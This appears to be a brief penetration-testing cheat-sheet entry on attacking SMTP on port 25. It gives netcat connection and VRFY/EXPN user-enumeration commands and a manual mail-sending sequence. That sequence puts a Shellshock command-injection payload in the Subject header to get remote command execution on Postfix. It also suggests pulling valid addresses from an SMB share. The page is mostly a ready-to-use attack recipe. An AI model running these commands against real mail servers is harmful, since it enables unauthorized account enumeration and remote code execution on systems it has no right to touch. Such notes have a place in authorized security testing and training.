SMTP 25

Mail

Connection

nc -C {ip} 25

Basic commands

VRFY {user} - Check user existence
EXPN {user} - Check if the user belongs to a mailing list

Mail sending

mail
mail from:<whatever>
rcpt to:<validemail@mail.server>
data
To: <'validemail@mail.server'>
From: <'validemail@mail.server'>
Subject:() { :; };cmd
.
quit

May find a valid email from SMB share /home/ and ls

Postfix Shellshock (need valid rcpt to email address)

Last updated